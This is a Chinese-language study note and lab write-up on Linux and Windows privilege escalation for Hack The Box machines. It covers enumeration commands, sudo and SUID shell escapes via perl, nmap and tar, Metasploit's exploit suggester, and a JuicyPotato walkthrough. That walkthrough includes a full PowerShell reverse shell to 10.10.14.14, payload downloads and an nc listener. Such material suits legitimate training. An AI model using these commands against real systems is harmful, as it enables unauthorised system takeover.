说是linux提权但在整理的时候不自主的把windows的内容也写了进去,结果变成了大杂烩,也不知道是好还是不好你
https://github.com/sagishahar/lpeworkshop
Windows提权:
??FuzzySecurity | Windows Privilege Escalation Fundamentals
??https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
Linux提权:
??Basic Linux Privilege Escalation - g0tmi1k
各种语言的Reverse Shell:
??Reverse Shell Cheat Sheet | pentestmonkey
预先知识
通过suid查找授权应用
**find / -perm -4000**
**find / -perm -u=s -type f 2>/dev/null**
提权一个很重要的基础要求就是能看懂它漏洞文件,以及可以写出能利用漏洞的poc,所以踏实的掌握一门脚本语言是非常重要的
linux通用步骤
获取到低权限SHELL后我们通常做下面几件事
1.检测操作系统的发行版本 lsb_release -a
2.查看内核版本 uname -a
3.检测当前用户权限 id
4.列举Suid文件 find / -perm -u=s -type f 2>/dev/null
4.1列举root权限应用 sudo -l
5.查看已经安装的包,程序,运行的服务,过期版本的有可能有漏洞
6.查看防火墙有没有打开一些扫描不到的端口
7.使用linpeas,pspy等查看越权进程发
windows通用步骤
一般在靶场中windows的提权往往偏向于漏洞的利用,近几年据说添加了域提权的内容但是由于还没有报名,所以暂时还不能写,等到时候我在开一篇文章来专门写写域提权
步骤大概就是
1.在低权限下systeminfo查看版本漏洞
2.wes扫描一下systeminfo内容
3.winpean扫描一下机器
4.查看一下正在运行的进程,有没有什么可疑的
5.利用扫描出来的漏洞进行提权
6.实在不行使用msf
大概就是这样
漏洞扫描软件汇总
linux
需要在本地执行的 linpeas
windows
wes本地扫描,只需要复制sysinfo指令的内容就可以
msf multi/recon/local_exploit_suggester漏洞扫描模块使用方法见下面的msf章节
nmap扫描 有专用于扫描win漏洞的vuln模块 nmap -p 445 --script vuln 10.10.10.4
提权操作
sudo提权
可能会出现将sudo权限给了一些危险的应用,通过这些应用可以调取rootshell,比如说perl
perl提权
当perl可以执行的且有管理员权限时,可以使用perl打开shell获得root权限
sudo perl -e 'exec "/bin/bash"'
-e 是用命令行执行程序,exec是执行程序
Linux perl命令|极客笔记 (deepinout.com)
nmap提权
使用场景
针对nmap有suid位的时候使用
操作
使用nmap --interactive 交互模式
nmap允许使用interactive选项来执行shell命令
使用!sh命令获得一个root权限的shell
因为nmap有suid位所以可以实现
tar提权
当tar拥有更高的权限的时候可以选择用tar进行权限提升
$ sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
内核提权
htb退休靶机常见漏洞44298内核提权,这个属于外挂,谨慎使用
如果提权失败了,我个人建议你测试几个其他的exploit,新的内核版本也可以试试
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – ‘overlayfs’ Local Root Shell
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploit
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ Local Root Exploit
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1) - Linux local Exploit
Linux Kernel 4.3.3 – ‘overlayfs’ Local Privilege Escalation
Linux Kernel 4.3.3 - 'overlayfs' Local Privilege Escalation (2) - Linux local Exploit
利用环境变量劫持高权限程序提权
通过修改bash 的¥path来实现提权,暂时理解不了
linux 提权 实战Linux下三种不同方式的提权技巧 – WebShell'S Blog
拥有权和执行权不一样的程序
这点高发在定期执行的程序上,一般定期执行的程序的执行权都会是root,如果写入权较低,导致低权限用户可以写入,那么就可以将提权代码以低权限写入root权限执行,实现提权
具体参考htb靶场的bashed靶机
可以参考tartarsause靶机了
注入
经常在网页上会有数据库或者命令行的入口,命令行的权限一般是www,但是数据库的权限就非常有可能是root,那么我们是否可以利用高权限的数据库来执行一些指令呢,
mysql暂时不知道,但是OracleDB是可以实现的,具体参考我在htb靶场windows系列的silo靶机攻略中介绍的可以使这个数据库直接执行指令的工具odat
msf
msf中有一个探测漏洞的模块,可以在使用msf获得一个低权限会话之后把它放在后台使用探测模块进行探索,找到提权漏洞之后,再次使用提权漏洞对会话进行攻击
具体见htb靶场windowds系列的Granny靶机
我在这里摘抄
使用后渗透模块先将会话保存到后台
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/iis/cve_17_7269) > search post/multi/recon/local_exploit_suggester
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester
Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
msf6 exploit(windows/iis/cve_17_7269) > use 0
这个模块是用来探查渗透系统有什么漏洞的
sessions?语句可以看到自己会话的id然后设计一下选项run就行
msf6 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this modu
le on
SHOWDESCRIPTION false yes Displays a detailed descript
ion for the available exploi
ts
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/win NT AUTHORITY\NETWORK 10.10.16.2:4444 -> 1
dows SERVICE @ GRANNY 0.10.10.15:1030 (10.
10.10.15)
msf6 post(multi/recon/local_exploit_suggester) > run
查看结果
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.15 - Collecting local exploits for x86/windows...
[*] 10.10.10.15 - 38 exploit checks are being tried...
[+] 10.10.10.15 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.15 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.15 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed
存在三个漏洞ms14058 ms14070 ms15051
ssh
通过在低权限下访问一些敏感文件往往可以获得ssh登录的密匙,密码和账户名一类的东西
jueicpotato提权
详细见htb的slio靶机详解
当我们在一个普通权限下通过whoami /priv发现SeImpersonatePrivilege证明我们可以使用RottenPotato提权
PS C:\windows\system32\inetsrv>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
我们下载MSFRottenPotato.exeGitHub - decoder-it/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITYSYSTEM.
然后编译一个bat文件
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.14',8085); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()"
然后下载
PS C:\temp> (new-object net.webclient).downloadfile('http://10.10.14.14:8083/rev.bat', 'C:\temp\rev.bat')
PS C:\temp> (new-object net.webclient).downloadfile('http://10.10.14.14:8083/MSFRottenPotato.exe', 'C:\temp\lp.exe')
之后运行脚本
PS C:\temp> c:\temp\lp.exe * \temp\rev.bat
connect sock
CreateIlok: 0 0
start RPC connection
CreateDoc: 0 0
COM -> bytes received: 116
RPC -> bytes Sent: 116
RPC -> bytes received: 84
COM -> bytes sent: 84
COM -> bytes received: 24
RPC -> bytes Sent: 24
RPC -> bytes received: 132
COM -> bytes sent: 132
COM -> bytes received: 127
RPC -> bytes Sent: 127
RPC -> bytes received: 196
COM -> bytes sent: 196
COM -> bytes received: 243
RPC -> bytes Sent: 243
RPC -> bytes received: 192
COM -> bytes sent: 192
COM -> bytes received: 72
RPC -> bytes Sent: 72
RPC -> bytes received: 60
COM -> bytes sent: 60
COM -> bytes received: 42
RPC -> bytes Sent: 42
RPC -> bytes received: 56
COM -> bytes sent: 56
CoGet: -2147022986 0
[+] authresult != -1
[+] Elevated Token tye:2
[+] DuplicateTokenEx :1 0
[+] Duped Token type:1
[+] Running \temp\rev.bat sessionId 1
[+] CreateProcessWithTokenW OK
Auth result: 0
Return code: 0
Last error: 0
记得打开nc监听
root@kali:~/hackthebox/silo-10.10.10.82# nc -lnvp 8085
listening on [any] 8085 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.82] 49181
PS C:\Windows\system32> whoami
nt authority\system
内存取证
某些服务器或者特殊用途的计算机会有保存机器内存镜像的习惯,当我们拿到一份诸如dmp格式的文件时可以尝试使用volatility来进行取证
并尝试获取靶机特权账号的hash之后通过psexec来使用hash登录
|